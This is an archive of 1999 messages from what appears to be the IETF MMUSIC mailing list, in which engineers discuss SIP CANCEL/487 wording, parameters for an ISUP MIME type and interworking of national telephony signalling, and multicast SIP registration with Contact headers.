	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 05:20:47 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA12056
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 05:20:46 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA10429;
	Mon, 13 Sep 1999 08:20:44 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA22475;
	Mon, 13 Sep 1999 08:20:43 -0400 (EDT)
Message-ID: <37DCEC14.C06F95AC@cs.columbia.edu>
Date: Mon, 13 Sep 1999 08:20:36 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: MMUSIC list <confctrl@ISI.EDU>
Subject: Re: SIP, inconsistency in revised version.
References: <37DCCBBA.FB19DED6@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> Quoting from section 4.2.5 in the revised version of the spec,
> http://www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-mmusic-sip-new-00.pdf
> :
> 
> "Once a user agent server has received a CANCEL,it MUST NOT issue a 2xx
> response for the cancelled original request. Instead, it issues a 487
> (Request cancelled) response immediately upon receipt of the CANCEL
> request."
> 
> and a few lines down :
> 
> "If the CANCEL request terminates a pending request, the server SHOULD
> NOT send a final response for the request that was canceled."

Unless I'm missing something subtle, the second sentence is just a
remnant of the pre-487 behavior and should be struck. Any objections? 


> 
> I assume the 487 response is sent in response to the 'cancelled original
> request'. With this assumption made, I can't see any logic here, just a
> total contradiction, since the first quote says that a final response
> should be sent and the other says not.
> 
> Explanations/arguements are welcome. I think the sending of a 487
> response would be the nice thing to do for user agent servers, since it
> will help transactions to complete faster.
> 
> Anyway, I think it doesn't break the protocol if implementation A sends
> final responses when cancelled and implemention B doesn't, since in
> either case the cancelled transaction fails. But, the contradiction
> confuses the reader.
> 
> /Lars
> 
> --
> Lars Berggren       <lars.berggren@intertex.se>
> Intertex Data AB    tel: +46-8-6282828
> Sundbyberg, Sweden  fax: +46-8-6286414

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Sep 13 06:01:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01400
	for confctrl-outgoing; Mon, 13 Sep 1999 06:01:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01395
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 06:01:48 -0700 (PDT)
Received: from qhars001.nortel.com (qhars001.NortelNetworks.com [192.100.101.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13135
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 06:01:47 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars001.nortel.com; Mon, 13 Sep 1999 13:59:59 +0100
Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <RY1Y8CC2>; Mon, 13 Sep 1999 13:59:58 +0100
Message-ID: <61ABD11436FED21192440000F81F3E36012B6F2C@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Adam B. Roach'" <Adam.Roach@Ericsson.com>
Cc: confctrl@ISI.EDU, huitema@research.telcordia.com, ericz@ipverse.com
Subject: RE: ISUP MIME type
Date: Mon, 13 Sep 1999 13:59:55 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam,

I essentially agree with your comment (1), you are right that it would be
better to rely on SIP itself where the service level of the external
telephony network supported is very low, as of course it is with register
signalling. There will doubtless be some things supported by register
signalling which aren't (yet) supported by SIP - overlap signalling perhaps
?

Regarding your comment (2), I think there is value to be gained by
standardising on an ISUP variant wherever possible  and trying to keep the
real legacy stuff (like BT NUP) out of the IP domain. The problem with
sending BT NUP over the IP network is that you have to be sure that if the
other end is a PSTN/ISDN gateway as well, then it understands BT NUP. This
is not reasonable as this gateway may not even be in the UK. If you use UK
ISUP, then as long as the egress PSTN network supports some kind of ISUP,
you will be able to maintain transparency of the narrowband ISDN services.

Regards,

Mark Watson
Nortel Networks

> ----------
> From: 	Adam B. Roach
> Sent: 	Friday, September 10, 1999 9:36 pm
> To: 	Watson, Mark [MOP:EP12-M:EXCH]
> Cc: 	confctrl@ISI.EDU; sigtran@standards.nortelnetworks.com;
> huitema@research.telcordia.com; ericz@ipverse.com
> Subject: 	Re: ISUP MIME type
> 
> >Telephony User Part/Register signalling
> >
> >Some countries still use the older Telephony User Part or even register
> >signalling such as R2, rather than the ISDN User Part for their
> signalling.
> >In a number of countries (in particular most of Europe) national variants
> of
> >ISUP exist which can be used in place of the TUP variants with no loss of
> >services.
> >
> >Standard ISUP can be used in place of register signalling.
> >
> >When moving to IP technology, it does not make sense to perpetuate this
> >legacy signalling within the IP network, when the level of services can
> be
> >maintained with ISUP. There is therefore no need to carry protocols such
> as
> >BT NUP (aka IUP), France's SSUTR2, R2 etc.
> 
> I have two comments on this topic:
> 
> 1) Since the purpose of an ISUP mime type is for (semi) transparancy of 
>    signalling information, and since the information conveyed by CAS
>    systems is quite rudimentary, it is decidedly unnecessary to 
>    carry *any* sort of telephony signalling body in the case of R1 or R2 
>    interworking scenarios. The discussion of converting CAS to an
> equivalent 
>    ISUP to pass it across an IP network is ludicrous. I beleive it is
>    sufficient to just put the CAS information in the SIP message (e.g.
> To:)
>    and have no signalling in the body. Remember: the far end gateway will
>    still have the capability to generate its own ISUP/NUP/CAS (as
>    appropriate) based on SIP headers, even without a signalling body; if 
>    it doesn't, it has no hope of interoperating with regular SIP nodes.
>    (And if you can't do that, why are you using SIP?!?)
> 
> 2) Similarly, the purpose of an ISUP mime type (and I still think
>    we should be working to define an "application/ss7-userpart" mime type
>    instead) is for ferrying user part packets from one end of the network 
>    to the other, with no real interpretation in the middle. So it seems 
>    unnecessary to force TUP protocols to be translated into ISUP. For 
>    instance, it seems like a heck of a lot of extra work to translate 
>    incoming BT NUP to British ISUP for its IP journey, and then have the 
>    egress gateway translate it *back* to BT NUP to put it out on the PSTN.
> 
> --   
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
> L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081
> USA
> 

From confctrl-owner  Mon Sep 13 07:16:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04268
	for confctrl-outgoing; Mon, 13 Sep 1999 07:16:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04263
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 07:16:40 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15942
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 07:16:39 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA17085;
	Mon, 13 Sep 1999 10:16:32 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA25253;
	Mon, 13 Sep 1999 10:16:27 -0400 (EDT)
Message-ID: <37DD0734.E57A313A@cs.columbia.edu>
Date: Mon, 13 Sep 1999 10:16:20 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Mark Watson <mwatson@nortelnetworks.com>
CC: "'Adam B. Roach'" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU,
        huitema@research.telcordia.com, ericz@ipverse.com
Subject: Re: ISUP MIME type
References: <61ABD11436FED21192440000F81F3E36012B6F2C@nwcwi1a.europe.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Watson wrote:
> 
> Adam,
> 
> I essentially agree with your comment (1), you are right that it would be
> better to rely on SIP itself where the service level of the external
> telephony network supported is very low, as of course it is with register
> signalling. There will doubtless be some things supported by register
> signalling which aren't (yet) supported by SIP - overlap signalling perhaps
> ?

Overlap signaling is supported. See the 484 status code.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Sep 13 07:50:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05582
	for confctrl-outgoing; Mon, 13 Sep 1999 07:50:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05577
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 07:50:40 -0700 (PDT)
Received: from qhars001.nortel.com (qhars001.NortelNetworks.com [192.100.101.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17676
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 07:50:39 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars001.nortel.com; Mon, 13 Sep 1999 15:48:54 +0100
Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <RY1Y8GAX>; Mon, 13 Sep 1999 15:48:54 +0100
Message-ID: <61ABD11436FED21192440000F81F3E36012B6F32@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Cc: "'Adam B. Roach'" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU,
        huitema@research.telcordia.com, ericz@ipverse.com
Subject: RE: ISUP MIME type
Date: Mon, 13 Sep 1999 15:48:47 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



> ----------
> From: 	Henning Schulzrinne
> Sent: 	Monday, September 13, 1999 3:16 pm
> To: 	Watson, Mark [MOP:EP12-M:EXCH]
> Cc: 	'Adam B. Roach'; confctrl@ISI.EDU; huitema@research.telcordia.com;
> ericz@ipverse.com
> Subject: 	Re: ISUP MIME type
> 
> Mark Watson wrote:
> > 
> > Adam,
> > 
> > I essentially agree with your comment (1), you are right that it would
> be
> > better to rely on SIP itself where the service level of the external
> > telephony network supported is very low, as of course it is with
> register
> > signalling. There will doubtless be some things supported by register
> > signalling which aren't (yet) supported by SIP - overlap signalling
> perhaps
> > ?
> 
> Overlap signaling is supported. See the 484 status code.
> 
Yes, but it is hardly efficient and relies on the server knowing that more
information is required. If you are interworking with PSTN equipment then
you will receive a backwards indication when the address in *complete*, but
you will not receive any indication that the address is incomplete - the
equipment will just be waiting for you to send subsequent digits.

Regards,

Mark Watson
Nortel Networks

> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> 

From confctrl-owner  Mon Sep 13 07:58:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05863
	for confctrl-outgoing; Mon, 13 Sep 1999 07:58:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05858
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 07:58:35 -0700 (PDT)
Received: from qhars001.nortel.com (qhars001.NortelNetworks.com [192.100.101.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17991
	for <confctrl@isi.edu>; Mon, 13 Sep 1999 07:58:33 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars001.nortel.com; Mon, 13 Sep 1999 15:55:54 +0100
Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <RY1Y8GHT>; Mon, 13 Sep 1999 15:55:54 +0100
Message-ID: <61ABD11436FED21192440000F81F3E36012B6F33@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: confctrl <confctrl@ISI.EDU>, "'ericz'" <ericz@ipverse.com>
Subject: RE: ISUP MIME type
Date: Mon, 13 Sep 1999 15:55:49 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric,

I think there is advantage in having the heirachy I suggest with the
'protocol' and 'version' parameters. This allows nodes which don't support
the particular variant being transported to make use of the subset that they
do support, be that ETSI, or just plain ITU-T ISUP. A flat name-space would
not allow this.

However, when it comes to variants of those main regional standards, I think
leaving the name-space open would be a great idea. I'd like to see some way
that registration of multiple names for the same thing be
discouraged/prevented though.

Regards,

Mark Watson
Nortel Networks


> ----------
> From: 	Eric Zimmerer
> Reply To: 	ericz
> Sent: 	Friday, September 10, 1999 9:51 pm
> To: 	Watson, Mark [MOP:EP12-M:EXCH]; confctrl
> Subject: 	RE: ISUP MIME type
> 
> 
> Mark,
> 
> You make some interesting suggestions.  If you want to create a naming
> convention for all the possible ISUP variants, please feel free to do so.
> I
> don't think it is something I am interested in persuing, however.
> 
> You hit the nail on the head when you said "it does not make sense to
> perpetuate this legacy signalling within the IP network".  That is one of
> the prime motivations for encapsulating ISUP.  If we can put a wrapper
> around ISUP and use it for backwards compatibility, we can move forward
> with
> IP enabled services.
> 
> Your first two open issues (versions of ISUP to be captured) point to the
> key issue: who needs to capture them?  It seems to me that an efficient
> course of action is to name and catalog variants as the need arises.  I
> say
> the first one to need/use/publish an ISUP variant as a MIME type gets to
> name it ;-) (Please don't name it "Eric Zimmerer")
> 
> Your third issue should be taken care of by those who need to capture such
> variants.
> 
> Your fourth issue is satisfied by letting the first implementer pick the
> name.
> 
> As far as TUP goes, this is not a TUP MIME type draft.  We could easily
> produce a TUP MIME type draft, and perhaps we should.
> 
> Thanks,
> 
> Eric
> 
> 
> 
> -----Original Message-----
> From: Mark Watson [mailto:mwatson@nortelnetworks.com]
> Sent: Friday, September 10, 1999 8:05 AM
> To: 'confctrl@isi.edu'; sigtran@standards.nortelnetworks.com;
> 'huitema@research.telcordia.com'; 'ericz@ipverse.com'
> Subject: ISUP MIME type
> 
> 
> Hi,
> 
> I have some comments on the Internet Drafts proposing an ISUP MIME type -
> basically I think these could be improved to better capture the types of
> ISUP variants which exist and the relationships between them.
> 
> This idea is described in detail below. There are four open issues at the
> end - can anyone help with these ?
> 
> I've cross-posted this to mmusic and sigtran since similar I-Ds have been
> put forward in both groups. I suggest follow-ups go to mmusic only to save
> confusion.
> 
> Regards,
> 
> Mark Watson
> Nortel Networks, UK
> +44 1628 434456
> mwatson@nortelnetworks.com
> 
> 
> Comments on the proposed ISUP MIME type
> -----------------------------------------------------------------------
> 
> Internet draft draft-zimmerer-mmusic-sip-isup-mime-00.txt (July 1999)
> describes a new MIME type for carrying C7 ISUP messages within the body of
> a
> SIP request/response.
> 
> A key feature of ISUP signalling, from ITU-T White Book onwards, is the
> compatibility mechanism. This introduces forward compatibility in that
> allows future versions of the protocol, and regional and national variants
> of the protocol can be sucessfully processed by node conformant to earlier
> specifications.
> 
> This is achieved by new protocol extensions being accompanied by
> 'compatibility extensions' which tell earlier version nodes how to process
> the unrecognised parameters and messages - either pass them on, discard
> them
> or clear the call.
> 
> Therefore, if a node knows that a particular variant of ISUP is based on
> ITU-T White Book, then it need not understand the whole variant in order
> to
> sucessfully process it. This is particularly the case in 'toll bypass'
> applications.
> 
> Equally, if a node knows that a particular ISUP is based on ETSI ISUP v2,
> and the node supports ETSI v2, then it can sucessfully process the ETSI
> extensions, without needing to know any other national extensions which
> may
> be present.
> 
> It would be desireable to include mode detailed ISUP variant information
> in
> the MIME content type for ISUP. This would allow nodes supporting just
> ITU-T
> White Book to sucessfully process regional and national variants of White
> Book.
> 
> This could be achieved by several parameters instead of the single
> 'version'
> parameter to the application/isup media type.
> 
> The first parameter 'protocol' would indicate whether the protocol was
> based
> on Blue Book (i.e. no compatibility mechanism) or on White Book or later
> (i.e. compatibility mechanism):
> 
> Parameter Name: 'protocol'	Value set: { 'ISUPblue', 'ISUPwhite' }
> 
> The second parameter would indicate whether any extensions specified by a
> regional standards body were present, or whether the protocol was the
> Q.767
> version of blue book (a subset of Blue Book specified for International
> Use).
> 
> Parameter Name: 'version'	Value set: 	protocol=ISUPblue	{
> 'ansi', 'etsi', 'q767', 'ntt' }
> 						protocol=ISUPwhite	{
> 'ansi', 'gr317', 'etsi', 'ntt' }
> 
> So, 'protocol=ISUPblue version=etsi' implies ETSI ISUP v1 (which happens
> to
> be the same as 'book=blue version=q767'). 'protocol=ISUPwhite
> version=etsi'
> implies ETSI v2 or higher. Note it is not necessary to distinguish between
> ETSI ISUP v2 and higher versions because of the compatibility mechanism.
> 
> Similar clarification for the ANSI versions of blue and white book is
> required, as well as for Japanese and other regional version (if there are
> any)
> 
> Finally, there are a number of national variants of ETSI ISUP v1 and v2.
> In
> the case of the v2 variants, then comprehension of the national extensions
> may not always be required according to the compatibility mechanism. Some
> kind of country identification is required - I've used informal two
> character country codes, but a more formal identification scheme is
> required.
> 
> Parameter Name: 'extensions'	Value set:	protoco=ISUPblue
> version=etsi		{ 'it', ... }
> 							protocol=ISUPwhite
> version=etsi 	{ 'uk1', 'uk2.2', 'fr' ... }
> 							protocol=ISUPwhite
> version=ntt	{ '90.10v1', '90.10v2' }
> 
> Further work is required on this proposal to correctly capture the various
> versions of ANSI ISUP and Japan ISUP. The value sets for the 'extensions'
> parameter could be owned initially by the regional standards bodies, but
> should be delegated to individual national standards organisations.
> 
> Telephony User Part/Register signalling
> 
> Some countries still use the older Telephony User Part or even register
> signalling such as R2, rather than the ISDN User Part for their
> signalling.
> In a number of countries (in particular most of Europe) national variants
> of
> ISUP exist which can be used in place of the TUP variants with no loss of
> services.
> 
> Standard ISUP can be used in place of register signalling.
> 
> When moving to IP technology, it does not make sense to perpetuate this
> legacy signalling within the IP network, when the level of services can be
> maintained with ISUP. There is therefore no need to carry protocols such
> as
> BT NUP (aka IUP), France's SSUTR2, R2 etc.
> 
> In certain other countries there may not yet be a national variant of ISUP
> which can suport the same services as the national TUP (e.g. China ?) and
> in
> these cases there may be a need to carry the TUP signalling. It may
> therefore be necessary to extend the value set for the 'protocol'
> parameter
> to include { 'TUPred', 'TUPblue' } etc.
> 
> Examples
> 
> UK ISUP version 2.2 would therefore be encoded as:
> 
> Content-type: application/isup; protocol="isupwhite" version="etsi"
> extensions="uk2.2"
> 
> Chinese TUP might be encoded as:
> 
> Content-type: application/isup; protocol="tupred" version="china"
> 
> If the extension to TUPs is decided to be required, then it may be
> sensible
> to rename the MIME subtype to 'ccs7' for 'Common Channel Signalling System
> No. 7'.
> 
> Proposal
> 
> The ISUP MIME type parameters should be enhanced as described above to
> better capture the version/variant information.
> 
> Open Issues
> 
> 1) What are the versions of ANSI/Bellcore ISUP which need to be captured ?
> 2) What are the versions/variants of Japanese ISUP which need to be
> captured
> ?
> 3) Are there any other regional standards bodies which have defined an
> ISUP
> other than ANSI, ETSI and Japan ?
> 4) What is the best naming scheme for the 'extensions' parameter in order
> to
> give every country some name-space ?
> 
> ends
> 
> 
> 
> 

From confctrl-owner  Mon Sep 13 08:52:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA07985
	for confctrl-outgoing; Mon, 13 Sep 1999 08:52:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07980
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 08:52:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA21951
	for <confctrl@isi.edu>; Mon, 13 Sep 1999 08:52:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Sep 13 11:50:49 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA09487;
	Mon, 13 Sep 1999 11:50:49 -0400 (EDT)
Message-ID: <37DD1D48.949F1A61@dnrc.bell-labs.com>
Date: Mon, 13 Sep 1999 11:50:32 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Jonathan Rosenberg <jdrosen@bell-labs.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SIP multicast
References: <199909111501.KAA07307@b04a45.exu.ericsson.se> <37DC8160.294F9445@bell-labs.com> <37DCD420.C0E72083@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anders Kristensen wrote:
> 
> > The problem is that the client may be attempting to discover the SIP
> > server through a multicast registration. In this case, it may require
> > authorization (next time around through unicast, in fact). So, it should
> > send a 401 response, and then the UAC resubmits the request with
> > credentials.
> >
> > Note that here is also a case where record-routes/contact is very useful
> > in a non-200 response (we've discussed this before in other contexts).
> > You really want a Contact header in the 401 indicating the URL to use
> > for actual registration.
> >
> 
> This means clients must interpret Contact headers in responses to
> REGISTER  requests differently depending on the status code: 2xx and
> Contacts are current addresses of address-of-record and otherwise
> they're addresses of the registrar itself. This is what rfc 1543 says
> and that's fine.
> 
> This 'overloading' of the Contact header means that a registrar cannot
> give its own actual address in a Contact header in a 2xx.  A server can,
> however, first redirect to its own non-multicast address and then
> respond to the redirected request with a 2xx (or 401 for that matter).
> Maybe the spec should explicitly recommend this extra step, i.e. avoid
> responding with 2xx to any multicast'ed message.

This is an excellent point, and its something I have come to realize as
well. Contact definitely has two meanings, as you describe. 

I like your suggestion for the first stage redirect, followed by a
normal unicast registration.  

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Sep 13 12:33:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA17849
	for confctrl-outgoing; Mon, 13 Sep 1999 12:33:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17844
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 12:33:10 -0700 (PDT)
Received: from rodney.cnchost.com (rodney.concentric.net [207.155.252.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19695
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 12:33:09 -0700 (PDT)
Received: from ericzlt01 ([205.158.54.162])
	by rodney.cnchost.com
	id PAA24776; Mon, 13 Sep 1999 15:29:18 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.8]
Reply-To: <ericz@ipverse.com>
From: "Eric Zimmerer" <ericz@ipverse.com>
To: "'Mark Watson'" <mwatson@nortelnetworks.com>,
        "'Adam B. Roach'" <Adam.Roach@Ericsson.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Mon, 13 Sep 1999 08:33:06 -0700
Message-ID: <001101befe1e$13faf380$a301a8c7@ipverse.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <61ABD11436FED21192440000F81F3E36012B6F2C@nwcwi1a.europe.nortel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Regarding comment 2,

The scenario that Adam describes, where BT NUP is translated into ISUP,
transported via IP and then translated back into BT NUP implies
less-than-optimized interworking logic on the originating MGC.

It makes sense that the originating MGC will have a good idea about where
the call is going, and what protocols are understood by the terminating MGC.
If the originating MGC knows the terminating MGC "speaks" BT NUP, then there
is no need to translate it.  If the originating MGC does not know enough
about the terminating MGC, then Mark's comment about standardizing on an
ISUP variant solves the problem.  Pick a variant and standardize it as the
"lowest common denominator" ISUP variant.

Adam's scenario is still possible, but its occurrence is minimized.


Eric


=======================
<snip>
Regarding your comment (2), I think there is value to be gained by
standardising on an ISUP variant wherever possible  and trying to keep the
real legacy stuff (like BT NUP) out of the IP domain. The problem with
sending BT NUP over the IP network is that you have to be sure that if the
other end is a PSTN/ISDN gateway as well, then it understands BT NUP. This
is not reasonable as this gateway may not even be in the UK. If you use UK
ISUP, then as long as the egress PSTN network supports some kind of ISUP,
you will be able to maintain transparency of the narrowband ISDN services.

Regards,

Mark Watson
Nortel Networks

<snip>
>
> 2) Similarly, the purpose of an ISUP mime type (and I still think
>    we should be working to define an "application/ss7-userpart" mime type
>    instead) is for ferrying user part packets from one end of the network
>    to the other, with no real interpretation in the middle. So it seems
>    unnecessary to force TUP protocols to be translated into ISUP. For
>    instance, it seems like a heck of a lot of extra work to translate
>    incoming BT NUP to British ISUP for its IP journey, and then have the
>    egress gateway translate it *back* to BT NUP to put it out on the PSTN.
>
> --
> Adam Roach, Ericsson Inc.


From confctrl-owner  Mon Sep 13 15:03:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA24070
	for confctrl-outgoing; Mon, 13 Sep 1999 15:03:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA24065
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 15:03:45 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA07675
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 15:03:39 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id RAA03450;
	Mon, 13 Sep 1999 17:02:57 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id RAA10157;
	Mon, 13 Sep 1999 17:02:58 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id RAA06551; Mon, 13 Sep 1999 17:02:57 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id RAA28989;
	Mon, 13 Sep 1999 17:02:55 -0500 (CDT)
Message-Id: <199909132202.RAA28989@b04a24.exu.ericsson.se>
Subject: Re: ISUP MIME type
To: ericz@ipverse.com
Date: Mon, 13 Sep 1999 17:02:55 -0500 (CDT)
Cc: mwatson@nortelnetworks.com, Adam.Roach@ericsson.com, confctrl@ISI.EDU
In-Reply-To: <001101befe1e$13faf380$a301a8c7@ipverse.com> from "Eric Zimmerer" at Sep 13, 99 08:33:06 am
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric> The scenario that Adam describes, where BT NUP is translated into
Eric> ISUP, transported via IP and then translated back into BT NUP
Eric> implies less-than-optimized interworking logic on the originating
Eric> MGC.

I beleive you missed my point altogether: my example was meant to 
highlight the fact that Mark Watson's current proposal specifies
that BT NUP **can't** be transited across the IP network. Even if the 
MGC knows that the far end speaks BT NUP, Mark's messages imply that
it **must** be translated to ISUP before encapsulation in a SIP message. 

Allow me to re-quote the exact section of Mark's message to which
I was responding:

Mark> When moving to IP technology, it does not make sense to perpetuate
Mark> this legacy signalling within the IP network, when the level of 
Mark> services can be maintained with ISUP. There is therefore no need 
Mark> to carry protocols such as BT NUP...

